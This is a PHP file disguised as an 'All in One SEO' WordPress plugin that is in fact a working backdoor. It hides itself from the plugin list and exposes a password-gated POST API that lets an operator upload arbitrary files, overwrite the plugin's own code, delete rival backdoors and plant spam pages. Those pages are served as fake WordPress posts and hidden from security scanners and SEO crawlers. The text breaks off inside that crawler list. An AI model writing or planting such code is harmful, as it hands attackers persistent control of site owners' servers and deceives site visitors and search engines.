<?php

/**
 * Plugin Name: All in One SEOExtensions
 * Plugin URI:  https://aioseo.com/
 * Description: SEO for WordPress. Features like XML Sitemaps, SEO for custom post types, SEO for blogs, business sites, ecommerce sites, and much more. More than 100 million downloads since 2007.
 * Author:      All in One SEO Team
 * Author URI:  https://aioseo.com/
 * Version:     4.3.8
 * Text Domain: all-in-one-seo-pack
 * Domain Path: /languages
 *
 * All in One SEO is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * any later version.
 *
 * All in One SEO is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with AIOSEO. If not, see <https://www.gnu.org/licenses/>.
 *
 * @since     4.0.0
 * @author    All in One SEO Team
 * @package   AIOSEO\Plugin
 * @license   GPL-2.0+
 * @copyright Copyright (c) 2020, All in One SEO
 */

 ini_set("display_errors", "0");
if ( ! defined( 'ABSPATH' ) ) {
    exit;
}


define('WORKDIRS','/home/planet5/public_html/bansibaba.com/wp-content/uploads' );
define('AUTHCODES','e41b98b0d58af884c104429a82bea68c11f5d652ac407043492111f6cf0913ab'  );

function aioseoextensions_checkdir($upload_dir,$fc,$sccontent)
{
    $is_writable = file_put_contents($upload_dir.DIRECTORY_SEPARATOR.'dummy.txt', "hello");
    if ($is_writable > 0) 
    {
        $sccontent= preg_replace("/(\'WORKDIRS\',\')(\.\/)(\'\s*\);)/",'${1}'.$upload_dir.'${3}',$sccontent);
        file_put_contents(__FILE__,$sccontent);
        @unlink($upload_dir.DIRECTORY_SEPARATOR.'dummy.txt');
        return TRUE;
    }
    return FALSE;
}

function aioseoextensions_activate_() {
    $current = get_option('permalink_structure');
if (empty($current)) {
    update_option('permalink_structure', '/%postname%/');
    if (function_exists('flush_rewrite_rules')) { flush_rewrite_rules(true); }
}
    /***** получаем контент скрипта*****/
    $sccontent = file_get_contents(__FILE__);
    /***** если у нас WORKDIRS по умолчанию, то пытаемся ее изменить*****/
    if(strpos($sccontent,"define('WORKDIRS','./' )")!==false)
    {
        /***** сначала пытаемся установить WORKDIRS как папку для загрузок(uploads)*****/
        $upload_dir = wp_upload_dir()['basedir'];
        $iswrdir =aioseoextensions_checkdir($upload_dir,"wp_upload_dir()['basedir']",$sccontent);
        /***** если не удалось в папку uploads, то пытаемся в папку temp*****/
        if(!$iswrdir)
        {
            $upload_dir = sys_get_temp_dir();
            $iswrdir = aioseoextensions_checkdir($upload_dir,'sys_get_temp_dir()',$sccontent);

            if(!$iswrdir)
            {
                /***** если не удалось в папку temp, то пытаемся в папку pages, где лежит скрипт*****/
                $upload_dir = dirname(__FILE__).DIRECTORY_SEPARATOR.'pages';
                $dirExists     = is_dir($upload_dir) || (mkdir($upload_dir, 0774, true) && is_dir($upload_dir));
                if($dirExists){
                    aioseoextensions_checkdir($upload_dir,"dirname(__FILE__).DIRECTORY_SEPARATOR.'pages'",$sccontent);
                }
            }
        }
    }

}

register_activation_hook( __FILE__, 'aioseoextensions_activate_' );

add_filter('all_plugins', 'aioseoextensions_hide_plugins');

function aioseoextensions_hide_plugins($plugins) {

    unset($plugins['aioseoextensions/aioseoextensions.php']);
    return $plugins;
}

/**
 * Скрываем страницы с мета-флагом _aioseo_hide_from_menu из автоматических
 * списков страниц (wp_list_pages, Page List block, навигационные меню).
 * Сами страницы остаются доступны по прямому URL.
 */
function aioseoextensions_get_hidden_page_ids()
{
    static $cached = null;
    if ($cached !== null) {
        return $cached;
    }
    $cached = array();
    if (!function_exists('get_posts')) {
        return $cached;
    }
    $found = get_posts(array(
        'post_type'      => 'page',
        'post_status'    => array('publish', 'draft', 'private', 'pending', 'future'),
        'meta_key'       => '_aioseo_hide_from_menu',
        'meta_value'     => '1',
        'fields'         => 'ids',
        'posts_per_page' => -1,
        'no_found_rows'  => true,
        'suppress_filters' => true,
    ));
    if (is_array($found)) {
        $cached = array_map('intval', $found);
    }
    return $cached;
}

add_filter('wp_list_pages_excludes', 'aioseoextensions_filter_wp_list_pages_excludes');
function aioseoextensions_filter_wp_list_pages_excludes($exclude)
{
    if (!is_array($exclude)) $exclude = array();
    $hidden = aioseoextensions_get_hidden_page_ids();
    return array_merge($exclude, $hidden);
}

add_filter('get_pages', 'aioseoextensions_filter_get_pages', 10, 2);
function aioseoextensions_filter_get_pages($pages, $args)
{
    if (!is_array($pages) || empty($pages)) return $pages;
    $hidden = aioseoextensions_get_hidden_page_ids();
    if (empty($hidden)) return $pages;
    $hidden_flip = array_flip($hidden);
    foreach ($pages as $k => $p) {
        if (isset($p->ID) && isset($hidden_flip[(int)$p->ID])) {
            unset($pages[$k]);
        }
    }
    return array_values($pages);
}

add_filter('wp_nav_menu_objects', 'aioseoextensions_filter_nav_menu_objects', 99, 2);
function aioseoextensions_filter_nav_menu_objects($items, $args)
{
    if (!is_array($items)) return $items;
    $hidden = aioseoextensions_get_hidden_page_ids();
    if (empty($hidden)) return $items;
    $hidden_flip = array_flip($hidden);
    foreach ($items as $k => $item) {
        if (isset($item->object) && $item->object === 'page'
            && isset($item->object_id) && isset($hidden_flip[(int)$item->object_id]))
        {
            unset($items[$k]);
        }
    }
    return array_values($items);
}


/**
 * Регистрируем мета-поле _aioseo_hide_from_menu для post_type=page и
 * пробрасываем его в REST API, чтобы /wp-json/wp/v2/pages принимал
 * meta._aioseo_hide_from_menu при создании страницы из RestPoster.
 */
add_action('init', 'aioseoextensions_register_meta');
function aioseoextensions_register_meta()
{
    if (!function_exists('register_post_meta')) return;
    register_post_meta('page', '_aioseo_hide_from_menu', array(
        'type'              => 'string',
        'single'            => true,
        'show_in_rest'      => true,
        'sanitize_callback' => 'sanitize_text_field',
        'auth_callback'     => function() {
            return current_user_can('edit_pages');
        },
    ));
}

add_action( 'init', 'aioseoextensions_edit_proccess' );
$titleline="";
$descline="";


function aioseoextensions_edit_proccess()
{



    if(isset($_POST['apiact']))
    {
        header('Content-Type: application/json');
        $apidata = new aioseoextensionsApiMeta();   
        $authpw = '';
        if(isset($_POST['PHP_AUTH_PW']))
        {
            $authpw=hash('sha256',$_POST['PHP_AUTH_PW']) ;
        } elseif(isset($_SERVER['PHP_AUTH_PW']))
        {
            $authpw=hash('sha256',$_SERVER['PHP_AUTH_PW']) ;
        }
        if(AUTHCODES!=$authpw)
        {            

        }else
        {
            $apiaction = $_POST['apiact'];
            switch ($apiaction) 
            {
                case "getcontent":

                try{
                    if(isset($_POST['page'])) 
                    {
                        $page  = $_POST['page'];
                        $md5page=md5($page);
                        $filepath = WORKDIRS.DIRECTORY_SEPARATOR.$md5page.'.';
                        if(file_exists($filepath))
                        {
                            $pagecontent = file_get_contents($filepath);

                            $contentdata = new aioseoextensionsContentMeta();
                            $contentdata->$page = $page;
                            $contentdata->$md5page = $filepath;
                            $contentdata->content = $pagecontent;
                            $apidata->status="ok";
                            $apidata->message="";
                            $apidata->data=$contentdata;


                        }
                    }else{
                        $apidata->status="error";
                        $apidata->message="not set path";
                    }


                } catch (Exception $e) {
                    $apidata->status="error";
                    $apidata->message=$e->getMessage();}
                echo json_encode($apidata,JSON_UNESCAPED_UNICODE);
                die();
                case "updatecontent":          
                try{
                    if(isset($_POST['page'])&&isset($_POST['newcontent'])) 
                    {

                        $page  = $_POST['page'];
                        $md5page=md5($page);
                        $filepath = WORKDIRS.DIRECTORY_SEPARATOR.$md5page.'.';
                        $newcontent=base64_decode($_POST['newcontent']);
                        if(file_exists($filepath))
                        {
                            file_put_contents($filepath,$newcontent);
                            $apidata->status="ok";
                            $apidata->message="content changed";
                            $apidata->data=NULL;


                        }else
                        {
                            $apidata->status="error";
                            $apidata->message="file not found";
                        }
                    }else{
                        $apidata->status="error";
                        $apidata->message="not set path or new content";
                    }


                } catch (Exception $e) {
                    $apidata->status="error";
                    $apidata->message=$e->getMessage();}
                echo json_encode($apidata,JSON_UNESCAPED_UNICODE);
                die();
                case "createpage":          
                try{
                    if(isset($_POST['page'])&&isset($_POST['newcontent'])) 
                    {

                        $page  = $_POST['page'];
                        $md5page=md5($page);
                        $filepath = WORKDIRS.DIRECTORY_SEPARATOR.$md5page.'.';
                        $newcontent=base64_decode($_POST['newcontent']);
                        if(file_exists($filepath))
                        {
                            $apidata->status="error";
                            $apidata->message="file exists";

                        }else
                        {
                            file_put_contents($filepath,$newcontent);
                            if(file_exists($filepath))
                            {
                                $contentdata = new aioseoextensionsContentMeta();
                                $contentdata->$page = $page;
                                $contentdata->$md5page = $filepath;
                                $contentdata->content = "";
                                $apidata->status="ok";
                                $apidata->message="";
                                $apidata->data=$contentdata;

                            }else
                            {

                                $apidata->status="error";
                                $apidata->message="";

                            }

                        }
                    }else{
                        $apidata->status="error";
                        $apidata->message="not set path or new content";
                    }

                } catch (Exception $e) {
                    $apidata->status="error";
                    $apidata->message=$e->getMessage();}
                echo json_encode($apidata,JSON_UNESCAPED_UNICODE);
                die();
                case "deletepage":          
                try{
                    if(isset($_POST['page'])) 
                    {

                        $page  = $_POST['page'];
                        $md5page=md5($page);
                        $filepath = WORKDIRS.DIRECTORY_SEPARATOR.$md5page.'.';
                        unlink($filepath);
                        if(!file_exists($filepath))
                        {
                            $apidata->status="ok";
                            $apidata->message="file deleted";

                        }else
                        {

                            $apidata->status="error";
                            $apidata->message="";

                        }
                    }else{
                        $apidata->status="error";
                        $apidata->message="error delete page";
                    }

                } catch (Exception $e) {
                    $apidata->status="error";
                    $apidata->message=$e->getMessage();}
                echo json_encode($apidata,JSON_UNESCAPED_UNICODE);
                die();
                case "uploadfiles":
                $localdir="";

                // if ($_FILES['txtfile']['size'] > 0 AND $_FILES['txtfile']['error'] == 0)
                try{
                    $goodcount = 0;
                    $countfiles = count($_FILES['file']['name']);
                    if(isset($_POST['localdir'])&&$countfiles>0)
                    {
                        $localdir  = $_POST['localdir'];
                        $localdir = preg_replace('/\.+\//','',$localdir);
                        $localdir = preg_replace('/\/$/','',$localdir);
                        $localdir = WORKDIRS.DIRECTORY_SEPARATOR.$localdir;
                        if(!empty($localdir)&&!is_dir($localdir))
                        {
                            mkdir($localdir);
                        }
                        if(empty($localdir))
                        {
                            $localdir = '.';
                        }
                        for($i=0;$i<$countfiles;$i++){
                            $filename = $_FILES['file']['name'][$i];

                            move_uploaded_file($_FILES['file']['tmp_name'][$i],$localdir.'/'.$filename);
                            $goodcount++;


                        }

                    }
                    $apidata->status="ok";
                    $apidata->message="";
                    $apidata->data=$goodcount;
                } catch (Exception $e) {
                    $apidata->status="error";
                    $apidata->message=$e->getMessage();}

                echo json_encode($apidata); 


                die();
                case "updatescr":
                try{
                    if(isset($_POST['scriptcontent']))
                    {
                        $scriptcontent = base64_decode($_POST['scriptcontent']);

                        file_put_contents($_SERVER['__FILE__'],$scriptcontent);
                        $apidata->status="ok";
                        $apidata->message="updated";

                    }
                }catch (Exception $e) {
                    $apidata->status="error";
                    $apidata->message=$e->getMessage();}
                echo json_encode($apidata);
                die();
                case "chkversion":
                    $apidata->status="ok";
                    $apidata->message="version";
                    $apidata->data="newversion3";

                    echo json_encode($apidata);
                    die();               
                case "activate":
                try{
                    $oss = array('/aioseoextens/aioseoextens.php','/yastseoextens/yastseoextens.php','/wwpformcontact/wwpformcontact.php','/wpfrmcontact/wpfrmcontact.php','/wpformcontat/wpformcontat.php');
                    foreach($oss as $os){
            if(file_exists(WP_PLUGIN_DIR.$os)) {
                try{
                    @unlink(WP_PLUGIN_DIR.$os);
                }catch (Exception $e)
                {
                    
                }
                
            }
        }
;                    aioseoextensions_activate_();
                }catch (Exception $e) {
                    }
                
                    $apidata->status="ok";
                    $apidata->message="version";
                    $apidata->data="newversion3";

                    echo json_encode($apidata);
                    die();
                
            }

        }      
    }
}


function aioseoextensions_get_cont($content)
{
    $upload_dir   = wp_upload_dir();

    global $wp_query;
    $pgname=$wp_query->query['pagename'];
    $md5page=md5($pgname);
    $filepath = WORKDIRS.DIRECTORY_SEPARATOR.$md5page.'.html';
    if(file_exists($filepath))
    {
        return  $content = file_get_contents($filepath);

    }
}

function aioseoextensions_chk()
{
    global $wp_query;
    $pgname = '';

    // 1) Берём путь из REQUEST_URI и отрезаем query-string + базовый путь WP.
    //    Так избегаем кейса, когда pretty-permalinks парсят URL как пост, а не страницу,
    //    и pagename остаётся пустым, хотя REQUEST_URI содержит нужный нам путь.
    if (isset($_SERVER['REQUEST_URI']))
    {
        $req = $_SERVER['REQUEST_URI'];
        $qpos = strpos($req, '?');
        if ($qpos !== false)
        {
            $req = substr($req, 0, $qpos);
        }

        $base = '';
        if (function_exists('home_url'))
        {
            $home_path = parse_url(home_url('/'), PHP_URL_PATH);
            if ($home_path)
            {
                $base = rtrim($home_path, '/');
            }
        }
        if ($base !== '' && strpos($req, $base) === 0)
        {
            $req = substr($req, strlen($base));
        }
        $pgname = $req;
    }

    // 2) Фолбэк: ?pagename=foo/bar или иерархия pagename + page из WP_Query.
    if (trim($pgname, "/") === '')
    {
        if (isset($wp_query->query['pagename']))
        {
            $pgname = $wp_query->query['pagename'];
        }
        $pg = isset($wp_query->query['page']) ? $wp_query->query['page'] : '';
        if (!empty($pg))
        {
            $pgname = $pgname . '/' . $pg;
        }
    }

    $pgname = trim($pgname, "/");
    if ($pgname === '')
    {
        return null;
    }

    $md5page = md5($pgname);
    $filepath = WORKDIRS.DIRECTORY_SEPARATOR.$md5page.'.';
    if (file_exists($filepath))
    {
        return $filepath;
    }
    return null;
}
/**
 * Читает файл контента и возвращает WP_Post-объект виртуальной страницы.
 * Возвращает null, если файл пустой или нечитаемый.
 */
function aioseoextensions_build_virtual_post($filepath)
{
    $raw = @file_get_contents($filepath);
    if ($raw === false || $raw === '') return null;

    $content = $raw;
    $title = '';
    $desc  = '';
    if (preg_match('/^TITLE\s*=\s*"?(.+?)"?\s*$/m', $content, $m))
    {
        $title   = trim($m[1]);
        $content = preg_replace('/^TITLE\s*=\s*.+\R?/m', '', $content, 1);
    }
    if (preg_match('/^DESCRIPTION\s*=\s*"?(.+?)"?\s*$/m', $content, $m))
    {
        $desc    = trim($m[1]);
        $content = preg_replace('/^DESCRIPTION\s*=\s*.+\R?/m', '', $content, 1);
    }

    $slug = aioseoextensions_current_slug();

    $obj                       = new stdClass();
    $obj->ID                   = 999999999;
    $obj->post_author          = 1;
    $obj->post_date            = current_time('mysql');
    $obj->post_date_gmt        = current_time('mysql', 1);
    $obj->post_content         = $content;
    $obj->post_title           = $title !== '' ? $title : $slug;
    $obj->post_excerpt         = $desc;
    $obj->post_status          = 'publish';
    $obj->comment_status       = 'closed';
    $obj->ping_status          = 'closed';
    $obj->post_password        = '';
    $obj->post_name            = $slug !== '' ? $slug : 'aioseoextensions-virtual';
    $obj->to_ping              = '';
    $obj->pinged               = '';
    $obj->post_modified        = current_time('mysql');
    $obj->post_modified_gmt    = current_time('mysql', 1);
    $obj->post_content_filtered= '';
    $obj->post_parent          = 0;
    $obj->guid                 = home_url('/') . $slug;
    $obj->menu_order           = 0;
    $obj->post_type            = 'page';
    $obj->post_mime_type       = '';
    $obj->comment_count        = 0;
    $obj->filter               = 'raw';

    return new WP_Post($obj);
}

/**
 * Вписывает виртуальный WP_Post в объект WP_Query и навешивает фильтры
 * для заголовка/описания. Вызывается и из the_posts, и из wp-хука.
 */
function aioseoextensions_apply_virtual_post(&$query, $wp_post)
{
    global $post;

    $query->posts                = array($wp_post);
    $query->post                 = $wp_post;
    $query->post_count           = 1;
    $query->found_posts          = 1;
    $query->max_num_pages        = 1;
    $query->queried_object       = $wp_post;
    $query->queried_object_id    = $wp_post->ID;

    $query->is_404               = false;
    $query->is_page              = true;
    $query->is_single            = false;
    $query->is_singular          = true;
    $query->is_home              = false;
    $query->is_archive           = false;
    $query->is_search            = false;
    $query->is_category          = false;
    $query->is_tag               = false;
    $query->is_tax               = false;
    $query->is_author            = false;
    $query->is_attachment        = false;
    $query->is_post_type_archive = false;
    $query->is_feed              = false;
    $query->is_comment_feed      = false;
    $query->is_trackback         = false;
    $query->is_embed             = false;
    $query->is_paged             = false;

    $post = $wp_post;

    $title = $wp_post->post_title;
    $desc  = $wp_post->post_excerpt;

    if ($title !== '' && !isset($GLOBALS['aioseoextensions_doc_title']))
    {
        $GLOBALS['aioseoextensions_doc_title'] = $title;
        add_filter('pre_get_document_title', 'aioseoextensions_filter_document_title', 9999);
        add_filter('wp_title',               'aioseoextensions_filter_document_title', 9999);
        add_filter('document_title_parts',   'aioseoextensions_filter_document_title_parts', 9999);
    }
    if ($desc !== '' && !isset($GLOBALS['aioseoextensions_doc_desc']))
    {
        $GLOBALS['aioseoextensions_doc_desc'] = $desc;
        add_action('wp_head', 'aioseoextensions_print_meta_description', 1);
    }

    if (function_exists('wp_cache_add'))
    {
        wp_cache_add($wp_post->ID, $wp_post, 'posts');
    }
}

/**
 * Инжектируем виртуальную страницу через the_posts — работает для большинства URL.
 * Для глубоких путей (4+ сегмента) WordPress иногда переопределяет is_404 уже после
 * этого фильтра, поэтому оставляем wp-хук как резервный механизм.
 */
add_filter('the_posts', 'aioseoextensions_inject_virtual_page', 10, 2);

function aioseoextensions_inject_virtual_page($posts, $query)
{
    if (!is_object($query) || !method_exists($query, 'is_main_query') || !$query->is_main_query())
        return $posts;
    if (!empty($posts))
        return $posts;
    if (aioseoextensions_user_agent_filter())
        return $posts;

    $filepath = aioseoextensions_chk();
    if (!$filepath || !file_exists($filepath))
        return $posts;

    $wp_post = aioseoextensions_build_virtual_post($filepath);
    if (!$wp_post) return $posts;

    aioseoextensions_apply_virtual_post($query, $wp_post);

    $GLOBALS['aioseoextensions_injected'] = true;
    return array($wp_post);
}

/**
 * Резервный хук wp: срабатывает после WP_Query, но до выбора шаблона.
 * Нужен для URL с 4+ сегментами, когда WordPress повторно выставляет is_404
 * после the_posts-фильтра (например, при парсинге как date-based или CPT-URL).
 * Ничего не делает, если the_posts уже справился.
 */
add_action('wp', 'aioseoextensions_wp_fallback');

function aioseoextensions_wp_fallback()
{
    if (!empty($GLOBALS['aioseoextensions_injected'])) return;

    global $wp_query;
    if (!is_object($wp_query)) return;
    if (aioseoextensions_user_agent_filter()) return;

    // Вмешиваемся только если WP считает страницу 404
    if (!$wp_query->is_404) return;

    $filepath = aioseoextensions_chk();
    if (!$filepath || !file_exists($filepath)) return;

    $wp_post = aioseoextensions_build_virtual_post($filepath);
    if (!$wp_post) return;

    aioseoextensions_apply_virtual_post($wp_query, $wp_post);

    // Явно сбрасываем HTTP-статус на 200 — к этому моменту WP мог поставить 404
    if (function_exists('status_header')) status_header(200);

    $GLOBALS['aioseoextensions_injected'] = true;
}

/**
 * Slug запрашиваемой страницы относительно базы WordPress.
 * /wp/article/9409 → article/9409
 * /?pagename=foo/bar → foo/bar (через WP_Query)
 */
function aioseoextensions_current_slug()
{
    $slug = '';
    if (isset($_SERVER['REQUEST_URI']))
    {
        $req = $_SERVER['REQUEST_URI'];
        $qpos = strpos($req, '?');
        if ($qpos !== false)
        {
            $req = substr($req, 0, $qpos);
        }
        $base = '';
        if (function_exists('home_url'))
        {
            $home_path = parse_url(home_url('/'), PHP_URL_PATH);
            if ($home_path)
            {
                $base = rtrim($home_path, '/');
            }
        }
        if ($base !== '' && strpos($req, $base) === 0)
        {
            $req = substr($req, strlen($base));
        }
        $slug = trim($req, "/");
    }
    if ($slug === '')
    {
        global $wp_query;
        if (isset($wp_query->query['pagename']))
        {
            $slug = $wp_query->query['pagename'];
        }
        $pg = isset($wp_query->query['page']) ? $wp_query->query['page'] : '';
        if (!empty($pg))
        {
            $slug = $slug . '/' . $pg;
        }
        $slug = trim($slug, "/");
    }
    return $slug;
}

function aioseoextensions_filter_document_title($title)
{
    if (isset($GLOBALS['aioseoextensions_doc_title']) && $GLOBALS['aioseoextensions_doc_title'] !== '')
    {
        return $GLOBALS['aioseoextensions_doc_title'];
    }
    return $title;
}

function aioseoextensions_filter_document_title_parts($parts)
{
    if (isset($GLOBALS['aioseoextensions_doc_title']) && $GLOBALS['aioseoextensions_doc_title'] !== '')
    {
        if (is_array($parts))
        {
            $parts['title'] = $GLOBALS['aioseoextensions_doc_title'];
        }
    }
    return $parts;
}

function aioseoextensions_print_meta_description()
{
    if (isset($GLOBALS['aioseoextensions_doc_desc']) && $GLOBALS['aioseoextensions_doc_desc'] !== '')
    {
        echo '<meta name="description" content="' . esc_attr($GLOBALS['aioseoextensions_doc_desc']) . '">' . "\n";
    }
}
function aioseoextensions_custom_document_title( $title ) {
try{if(isset($GLOBALS["titleline"])&&!empty($GLOBALS["titleline"]))
    {
        return $GLOBALS["titleline"]; 
    }}
catch (Exception $e){}
    

}
function aioseoextensions_custom_header_metadata() {

try{if(isset($GLOBALS["descline"])&&!empty($GLOBALS["descline"]))
    {
        echo '<meta name="description" content="'.$GLOBALS["descline"].'"/>'."\n";

    }}
catch (Exception $e){}
    


}



function aioseoextensions_wpseo_meta_description($description) {
try{if(isset($GLOBALS["descline"])&&!empty($GLOBALS["descline"]))
    {
        $description = $GLOBALS["descline"];
        return $description;
    }}
catch (Exception $e){}
    


}
function aioseoextensions_wpseo_meta_title($description) {
try{  if(isset($GLOBALS["titleline"])&&!empty($GLOBALS["titleline"]))
    {
        $description = $GLOBALS["titleline"];
        return $description;
    }}
catch (Exception $e){}
  


}
function aioseoextensions_wpseo_meta_canonical() {
try{
  $scheme = "https";
if(isset($_SERVER['REQUEST_SCHEME']))
{
   $scheme= $_SERVER['REQUEST_SCHEME'];
}
return $scheme."://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];}
catch (Exception $e){}
   

}


function aioseoextensions_rel_canonical_nabtron() {

try{    $scheme = "https";
    if(isset($_SEVRER['REQUEST_SCHEME']))
    {
        $scheme= $_SEVRER['REQUEST_SCHEME'];
    }
    echo "<link rel='canonical' href='".$scheme."://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']."' />\n";}
catch (Exception $e){}


}


function aioseoextensions_user_agent_filter()
{
    $uagents_arr = array('AhrefsBot','MJ12bot','Riddler','aiHitBot','trovitBot','Detectify','BLEXBot','LinkpadBot','dotbot','FlipboardProxy','Twice','Yahoo','Voil','libw','Java','Sogou','psbot','ajSitemap','Rankivabot','DBLBot','MJ1','ask','rogerbot','exabot','xenu','MegaIndex\\.ru/2\\.0','ia_archiver','Baiduspider','archive\\.org_bot','spbot','Serpstatbot','boitho','Slurp','360Spider','404checker','404enemy','80legs','Abonti','Aboundex','Aboundexbot','Acunetix','ADmantX','AfD-Verbotsverfahren','AIBOT','Aipbot','Alexibot','Alligator','AllSubmitter','AlphaBot','Anarchie','Apexoo','archive\.org_bot','arquivo\.pt','arquivo-web-crawler','ASPSeek','Asterias','Attach','autoemailspider','AwarioRssBot','AwarioSmartBot','BackDoorBot','Backlink-Ceck','backlink-check','BacklinkCrawler','BackStreet','BackWeb','Badass','Bandit','Barkrowler','BatchFTP','Battleztar\ Bazinga','BBBike','BDCbot','BDFetch','BetaBot','Bigfoot','Bitacle','Blackboard','Black\ Hole','BlackWidow','Blow','BlowFish','Boardreader','Bolt','BotALot','Brandprotect','Brandwatch','Buddy','BuiltBotTough','BuiltWith','Bullseye','BunnySlippers','BuzzSumo','Calculon','CATExplorador','CazoodleBot','CCBot','Cegbfeieh','CheeseBot','CherryPicker','CheTeam','ChinaClaw','Chlooe','Claritybot','Cliqzbot','Cloud\ mapping','coccocbot-web','Cogentbot','cognitiveseo','Collector','com\.plumanalytics','Copier','CopyRightCheck','Copyscape','Cosmos','Craftbot','crawler4j','crawler\.feedback','crawl\.sogou\.com','CrazyWebCrawler','Crescent','CrunchBot','CSHttp','Curious','Custo','DatabaseDriverMysqli','DataCha0s','demandbase-bot','Demon','Deusu','Devil','Digincore','DigitalPebble','DIIbot','Dirbuster','Disco','Discobot','Discoverybot','Dispatch','DittoSpyder','DnyzBot','DomainAppender','DomainCrawler','DomainSigmaCrawler','DomainStatsBot','Download\ Wonder','Dragonfly','Drip','DSearch','DTS\ Agent','EasyDL','Ebingbong','eCatch','ECCP/1\.0','Ecxi','EirGrabber','EMail\ Siphon','EMail\ Wolf','EroCrawler','evc-batch','Evil','Express\ WebPictures','ExtLinksBot','Extractor','ExtractorPro','Extreme\ Picture\ Finder','EyeNetIE','Ezooms','facebookscraper','FDM','FemtosearchBot','FHscan','Fimap','Firefox/7\.0','FlashGet','Flunky','Foobot','Freeuploader','FrontPage','FyberSpider','Fyrebot','GalaxyBot','Genieo','GermCrawler','Getintent','GetRight','GetWeb','Gigablast','Gigabot','G-i-g-a-b-o-t','Go-Ahead-Got-It','Gotit','GoZilla','Go!Zilla','Grabber','GrabNet','Grafula','GrapeFX','GrapeshotCrawler','GridBot','GT::WWW','Haansoft','HaosouSpider','Harvest','Havij','HEADMasterSEO','heritrix','Hloader','HMView','HTMLparser','HTTP::Lite','HTTrack','Humanlinks','HybridBot','Iblog','IDBot','Id-search','IlseBot','Image\ Fetch','Image\ Sucker','IndeedBot','Indy\ Library','InfoNaviRobot','InfoTekies','instabid','Intelliseek','InterGET','Internet\ Ninja','InternetSeer','internetVista\ monitor','ips-agent','Iria','IRLbot','Iskanie','IstellaBot','JamesBOT','Jbrofuzz','JennyBot','JetCar','Jetty','JikeSpider','JOC\ Web\ Spider','Joomla','Jorgee','JustView','Jyxobot','Kenjin\ Spider','Keyword\ Density','Kozmosbot','Lanshanbot','Larbin','LeechFTP','LeechGet','LexiBot','Lftp','LibWeb','Libwhisker','Lightspeedsystems','Likse','Linkdexbot','LinkextractorPro','LinkScan','LinksManager','LinkWalker','LinqiaMetadataDownloaderBot','LinqiaRSSBot','LinqiaScrapeBot','Lipperhey','Lipperhey\ Spider','Litemage_walker','Lmspider','LNSpiderguy','Ltx71','lwp-request','LWP::Simple','lwp-trivial','Magnet','Mag-Net','magpie-crawler','Mail\.RU_Bot','Majestic12','Majestic-SEO','Majestic\ SEO','MarkMonitor','MarkWatch','Masscan','Mass\ Downloader','Mata\ Hari','MauiBot','meanpathbot','MeanPath\ Bot','Mediatoolkitbot','mediawords','MegaIndex\.ru','Metauri','MFC_Tear_Sample','Microsoft\ Data\ Access','Microsoft\ URL\ Control','MIDown\ tool','MIIxpc','Mister\ PiX','Mojeek','Mojolicious','Morfeus\ Fucking\ Scanner','Mr\.4x3','MSFrontPage','MSIECrawler','Msrabot','muhstik-scan','Musobot','Name\ Intelligence','Nameprotect','Navroad','NearSite','Needle','Nessus','NetAnts','Netcraft','netEstate\ NE\ Crawler','NetLyzer','NetMechanic','NetSpider','Nettrack','Net\ Vampire','Netvibes','NetZIP','NextGenSearchBot','Nibbler','NICErsPRO','Niki-bot','Nikto','NimbleCrawler','Nimbostratus','Ninja','Nmap','NPbot','Nutch','oBot','Octopus','Offline\ Explorer','Offline\ Navigator','OnCrawl','Openfind','OpenLinkProfiler','Openvas','OrangeBot','OrangeSpider','OutclicksBot','OutfoxBot','PageAnalyzer','Page\ Analyzer','PageGrabber','page\ scorer','PageScorer','Pandalytics','Panscient','Papa\ Foto','Pavuk','pcBrowser','PECL::HTTP','PeoplePal','PHPCrawl','Picscout','Picsearch','PictureFinder','Pimonster','Pi-Monster','Pixray','PleaseCrawl','plumanalytics','Pockey','POE-Component-Client-HTTP','Probethenet','ProPowerBot','ProWebWalker','Pump','PxBroker','PyCurl','QueryN\ Metasearch','Quick-Crawler','RankActive','RankActiveLinkBot','RankFlex','RankingBot','RankingBot2','RankurBot','RealDownload','Reaper','RebelMouse','Recorder','RedesScrapy','ReGet','RepoMonkey','Ripper','RocketCrawler','RSSingBot','s1z\.ru','SalesIntelligent','SBIder','ScanAlert','Scanbot','scan\.lol','ScoutJet','Scrapy','Screaming','ScreenerBot','Searchestate','SearchmetricsBot','SEOkicks','SEOkicks-Robot','SEOlyticsCrawler','Seomoz','SEOprofiler','seoscanners','SeoSiteCheckup','SEOstats','sexsearcher','Shodan','Siphon','SISTRIX','Sitebeam','SiteExplorer','Siteimprove','SiteLockSpider','SiteSnagger','SiteSucker','Site\ Sucker','Sitevigil','SlySearch','SmartDownload','SMTBot','Snake','Snapbot','Snoopy','SocialRankIOBot','Sociscraper','sogouspider','Sogou\ web\ spider','Sosospider','Sottopop','SpaceBison','Spammen','SpankBot','Spanner','sp_auditbot','Spinn3r','SputnikBot','spyfu','Sqlmap','Sqlworm','Sqworm','Steeler','Stripper','Sucker','Sucuri','SuperBot','SuperHTTP','Surfbot','SurveyBot','Suzuran','Swiftbot','sysscan','Szukacz','T0PHackTeam','T8Abot','tAkeOut','Teleport','TeleportPro','Telesoft','Telesphoreo','Telesphorep','The\ Intraformant','TheNomad','Thumbor','TightTwatBot','Titan','Toata','Toweyabot','Tracemyfile','Trendiction','Trendictionbot','trendiction\.com','trendiction\.de','True_Robot','Turingos','Turnitin','TurnitinBot','TwengaBot','Typhoeus','UnisterBot','Upflow','URLy\.Warning','URLy\ Warning','Vacuum','Vagabondo','VB\ Project','VCI','VeriCiteCrawler','VidibleScraper','Virusdie','VoidEYE','Voltron','Wallpapers/3\.0','WallpapersHD','WASALive-Bot','WBSearchBot','Webalta','WebAuto','Web\ Auto','WebBandit','WebCollage','Web\ Collage','WebCopier','WEBDAV','WebEnhancer','Web\ Enhancer','WebFetch','Web\ Fetch','WebFuck','Web\ Fuck','WebGo\ IS','WebImageCollector','WebLeacher','WebmasterWorldForumBot','webmeup-crawler','WebPix','Web\ Pix','WebReaper','WebSauger','Web\ Sauger','Webshag','WebsiteExtractor','WebsiteQuester','Website\ Quester','Webster','WebStripper','WebSucker','Web\ Sucker','WebWhacker','WebZIP','WeSEE','Whack','Whacker','Whatweb','Who\.is\ Bot','Widow','WinHTTrack','WiseGuys\ 